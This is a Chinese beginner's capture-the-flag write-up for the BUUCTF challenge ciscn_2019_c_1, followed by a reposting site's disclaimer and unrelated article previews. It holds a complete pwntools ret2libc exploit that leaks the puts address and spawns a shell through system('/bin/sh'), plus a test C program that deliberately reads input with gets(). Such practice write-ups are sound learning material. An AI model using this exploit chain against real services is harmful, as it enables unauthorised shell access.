BUUCTF ciscn_2019_c_1

小白垃圾做题笔记而已,不建议阅读。

1前期:

其实刚开始拿到程序的时候我还以为是逆向题放错地方了。唉,做题太少了。啥也不会。我是大笨蛋。

题目中用的是ubuntu18,我的ubuntu没怎么用过,vmtools都不能用,我又搞vmtools

按照正常的流程没有安装成功。

看了这位师傅的博客。

Ubuntu下关于vmtools安装成功后不能拖动文件的解决方法_vmtools安装完拉不进去文件_机务猿的博客-CSDN博客z

 最主要的是后边两行命令

如果第一条不好用就用第二条

中间需要reboot(重启)哈

重启不管用了再下一条。

sudo apt install open-vm-tools


sudo apt install open-vm-tools-desktop

搞好vmtools后我去checksec查看保护,但是并没有任何输出。

发现没有pwngdb,唉,又去搞pwngdb,好在18比16好,没有什么版本问题。

好像有警告,但是我没管哈哈,我是大笨蛋。

不知道为啥安装后的checksec 只能在gdb內部使用,先凑活用吧。

2.做题

搞好后查看保护:

没有canary,内有pie,relro部分开启,NX 开启。

relro我理解的主要是got表和plt表,chat说还有什么动态链接库指针,我太懂。

如果只分析got和plt关于FULL  RELRO和PARTIAL RELRO 来说

chat是这样说:

主要函数应该是一个,其实就是加密函数。

 

 

加密函数中是存在栈溢出漏洞的。由于开启了NX所以需要用ret2xxx绕过。而程序中并没有找到system和/bin/sh。那么就是ret2libc了吧。其实我刚开始是很懵逼的。后来才看了wp才知道是ret2libc的。

那么就来看下这道题。

程序一开始就调用了puts,并且是PARTIAL RELRO,那么就是说我们可以泄露出puts的真实地址,然后获取libc地址,通过偏移计算出system函数的地址,和/bin/bash地址。

所以我们需要构造两次payload,第一次将puts的地址打印出来,第二次获取shell

可能是由于ida的原因,我并没有发现X的取值,        

师傅的wp中是绕过了长度判断用‘\0’

但是我发现不用\0也可以绕过。就是strlen好像是不用绕过的。

具体原理并不太懂。我猜可能是我们覆盖的返回地址最高位本身转化成字节类型可能就是\0???

好像并不是这样的:

我写了一个实验:

#include <stdio.h>
int main()
{
        char s[80];
        memset(s,0,0x30uLL);
        puts("Pleas  Input");
        gets(s);
        printf("%d\n",strlen(s));

        return 0;
}

from pwn import *
io = process('./a.out')
context.log_level='debug'
pause()
pop_rdi_ret = 0x0000000000400c83
ret_addr = 0x00000000004006b9
payload=b'aaaaaaa'+p64(pop_rdi_ret)

io.sendlineafter('t\n',payload)

io.interactive()        

唉,没办法先这样吧,希望哪天有位大佬点醒梦中人。

exp是这个样子的:

from pwn import *

#下边这一行是导入LibcSearcher库,用于根据某个函数的地址获取libc版本
from LibcSearcher import *
#这一行的作用是设置一些参数开启debug后可以显示接受数据以及发送数据

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pause()
io = process('./ciscn_2019_c_1')
#io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')

#获取puts函数的plt表地址,got表地址,以及系统main函数地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#查找poprdi指令对应的地址
pop_rdi_ret = 0x0000000000400c83

#查找ret指令对应的地址
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9

io.sendlineafter('Input your choice!\n', '1')
#构造payload
#首先填充0x58个字节a,用来覆盖到返回地址
# 然后我们把返回地址给覆盖成了pop rdi ret 指令的地址
#栈中  pop rdi 地址后边是puts对应的got表的地址,这个地址会被pop到rdi ,在后来是puts的plt地址,再后边是main函数地址


#执行的时候:
#首先返回地址会去pop rdi
#这个时候栈顶所指向的是got表的地址,也就是说将puts的got表中的地址放到rdi中
#然后是 ret  将当前栈顶所执行的地址(puts的plt表的地址)给ip
#既然ip指向了puts对应的plt表,那么就会去执行puts函数
#执行puts函数的时候参数是rdi中的内容,刚刚被我们改成puts函数对应的got表地址了
#所以他会将puts的got表的地址打印出来,我们等下接接收下。
#,因为后边放的是返回地址,我们将返回地址覆盖成了main函数的地址
#接下来他会二次执行main函数

payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#当他让我们输入的时候我们发动攻击
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

#攻击后会打印,我们接收下。为什么是接收到6个字节呢,这个好像是跟页的加载有关。
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))


#根据接受的地址获取libc版本,我猜就是执行到这行函数的时候打印的让我们选择libc版本
libc = LibcSearcher('puts', puts_addr)   #获取版本
libc_base = puts_addr - libc.dump('puts')   #计算libc基地址
system_addr = libc_base + libc.dump('system')    #计算system地址   dump是获取偏移用的
binsh_addr = libc_base + libc.dump('str_bin_sh')  #计算/bin/sh地址

#我们将payload打过去后他打印出来地址后会返回i到main函数的地址,继续执行main
io.sendlineafter(b'Input your choice!\n', b'1')
#这一次我们以已经知道system的地址了,我们首先将\bin\sh地址给rdi,用来当作system的参数  中间是\bin\sh的地址 我们将返回地址覆盖为system地址
#
payload7 =  b'a' * (0x50 + 0x08 ) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sleep(1)
io.sendlineafter('encrypted\n', payload7)

io.interactive()
# 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分 

一次没打通,打了几次才打通。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/17377.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是GPT模型,GPT下载和国内镜像

什么是GPT模型&#xff0c;GPT模型是通过预训练的方式&#xff0c;采用无监督学习方式&#xff0c;大量语料输入&#xff0c;经过多次训练后得到模型。它能够自动学习并理解自然语言中的语义、句法和语法信息&#xff0c;并可以用于文本生成、对话系统、情感分析、机器翻译等自…

零死角玩转stm32中级篇3-SPI总线

本篇博文目录: 一.基础知识1.什么是SPI2.SPI和IIC有什么不同3.SPI的优缺点4.SPI是怎么实现通信的5.SPI 数据传输的步骤6.SPI菊花链7.通过SPI实现数据的读和写 二.STM32F103C8T6芯片SPI协议案例代码 一.基础知识 1.什么是SPI SPI&#xff08;Serial Peripheral Interface&#…

Flask开发之环境搭建

目录 1、安装flask 2、创建Flask工程 ​编辑 3、初始化效果 4、运行效果 5、设置Debug模式 6、设置Host 7、设置Port 8、在app.config中添加配置 1、安装flask 如果电脑上从没有安装过flask&#xff0c;则在命令行界面输入以下命令&#xff1a; pip install flask 如果电…

给大家介绍几个手机冷门但好用的小技巧

技巧一&#xff1a;拍照识别植物 手机的拍照识别植物功能是指在使用手机相机时&#xff0c;可以通过对植物进行拍照&#xff0c;并通过植物识别技术&#xff0c;获取植物的相关信息和资料。其主要优点如下&#xff1a; 方便实用&#xff1a;使用拍照识别植物功能&#xff0c;…

【Java笔试强训 18】

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔&#x1f93a;&#x1f93a;&#x1f93a; 目录 一、选择题 二、编程题 &#x1f525;统计每…

基于springcloud微服务的java课程资源在线学习考试系统

在我国&#xff0c;由于计算机与网络技术的不断发展&#xff0c;信息化建设的不断深入&#xff0c;不管是企业、学校或个人都在结合计算机网络技术队现有的管理或生活中的一些环节进行开发研究&#xff0c;运用计算机进行一些必要的数据信息管理&#xff0c;分析及发布&#xf…

拷贝构造函数和赋值重载函数详解

1.拷贝构造函数 1.1拷贝构造函数的概念 拷贝构造函数&#xff1a;只有单个形参&#xff0c;该形参是对本类类型对象的引用(一般常用const修饰)&#xff0c;在用已存在的类类型对象创建新对象时由编译器自动调用。拷贝构造函数也是特殊的成员函数&#xff0c;其特征如下&#…

第三十一章 Unity骨骼动画

关于骨骼动画的原理&#xff0c;我们这里不再详细介绍&#xff0c;有不清楚的可以回去看DirectX课程和3dsMAX课程。接下来&#xff0c;我们来讲解一下Unity的骨骼动画系统。Unity 的动画系统基于动画剪辑&#xff08;Animation Clip&#xff09;的概念&#xff0c;它的本质就是…

LeetCode - 239 滑动窗口最大值

目录 题目来源 题目描述 示例 提示 题目解析 算法源码 题目来源 239. 滑动窗口最大值 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给你一个整数数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k…

springboot+vue前后端分离项目打包成jar包及运行

将 Spring Boot 和 Vue.js 项目打包成 jar 包需要按照以下步骤操作&#xff1a; 在项目的根目录中&#xff0c;使用命令行进入 Vue.js 项目的根目录&#xff0c;然后运行以下命令&#xff1a; npm run build这个命令将会构建 Vue.js 项目&#xff0c;并在项目的 dist 目录中生…

鸿蒙Hi3861学习八-Huawei LiteOS(事件标记)

一、简介 事件是一种实现任务间通信的机制&#xff0c;可用于实现任务间的同步。但事件通信只能是事件类型的通信&#xff0c;无数据传输。一个任务可以等待多个事件的发生&#xff1a;可以是任意一个事件发生时唤醒任务进行事件处理&#xff1b;也可以是几个事件都发生后才唤醒…

华为网络设备+WinRadius 实现用户统一管理设备

一、直接贴配置 ###配置VTY用户界面所支持的协议、验证方式 user-interface vty 0 4 protocol inbound telnet authentication-mode aaa quit ###配置RADIUS认证 ###&#xff08;1&#xff09;配置RADIUS服务器模板&#xff0c;指定服务器的IP地址与端口号、共享密钥 radius-s…

Unity - Render Doc - 解决 Waiting For Debugger 导致连接不了 APP 的问题

环境 Unity : 2020.3.37f1 Pipeline : BRP RDC : 1.26 问题 平常有一些公司内的游戏发布在移动端运行会有各种异常&#xff0c;但是 unity editor (android opengl es / dx) 下正常 如果没有真机抓帧分析&#xff0c;是搞不定的 然后 RenderDoc 在抓发布出来的调试包也抓不…

漫画 | Linux之父:财务自由以后,我失眠了!

前言&#xff1a;今年是Linux诞生的30周年&#xff01; 1991年的8月&#xff0c; Linus在新闻组中公布了他正在开发的一个免费的操作系统&#xff0c;这也是以后风靡世界的Linux操作系统的雏形。 今天翻到这篇漫画&#xff0c;看到Linux的诞生过程&#xff0c;很是感慨&#x…

SuperMap GIS基础产品云GIS FAQ集锦(2)

SuperMap GIS基础产品云GIS FAQ集锦&#xff08;2&#xff09; 【iManager】云套件ispeco-dashboard-api的日志等级只有到info&#xff0c;如何设置才能查看到debug级别的日志&#xff1f; 【解决方案】可以在ispeco-dashboard-api的deployment中添加以下环境变量&#xff0c;…

vue框架快速入门

vue 1、第一个Vue程序1.1、什么是Vue程序1.2、为什么要使用MVVM1.3、Vue1.4、第一个vue程序 2、基础语法2.1、v-bind2.2、v-if&#xff0c; v-else2.3、v-for2.4、v-on 3、Vue表单双绑、组件3.1、什么是双向数据绑定3.2、在表单中使用双向数据绑定3.3、什么是组件 4、Axios异步…

PyQt5 基础篇(一)-- 安装与环境配置

1 PyQt5 图形界面开发工具 Qt 库是跨平台的 C 库的集合&#xff0c;是最强大的 GUI 库之一&#xff0c;可以实现高级 API 来访问桌面和移动系统的各种服务。PyQt5 是一套 Python 绑定 Digia QT5 应用的框架。PyQt5 实现了一个 Python模块集&#xff0c;有 620 个类&#xff0c;…

从0学会Spring框架

文章目录 1. 对Spring的理解2. Spring IoC3. DI4. 如何创建一个Spring项目4.1 创建一个Maven项目4.2 添加Spring框架支持4.3 添加启动类 5. 存储Bean对象5.1 添加配置文件5.2 创建Bean对象5.3 注册Bean 6. 获取并使用Bean对象7. 更简单存储Bean对象的方式7.1 前置工作7.2 添加存…

基于javaweb的学生就业管理系统

一、简介 学生基业管理系统有三个角色&#xff1a;管理员、企业、学生 对学生信息管理、企业信息管理、求职信息管理 后端架构&#xff1a;spring springmvc mybatis 前端架构&#xff1a;jsp layui 系统环境&#xff1a;jdk1.8 | maven | mysql 二、主要功能 1. 登录…

一个集团企业,如何从0到1构建信息化系统?

当今时代&#xff0c;信息技术已经成为企业发展不可或缺的一部分&#xff0c;特别是对于一个大型集团公司来说&#xff0c;如何构建一个高效的信息化系统对于其业务发展至关重要。 我们想要构建一个优质高效的信息化系统&#xff0c;首先需要了解现在大的趋势是怎样的。 目前…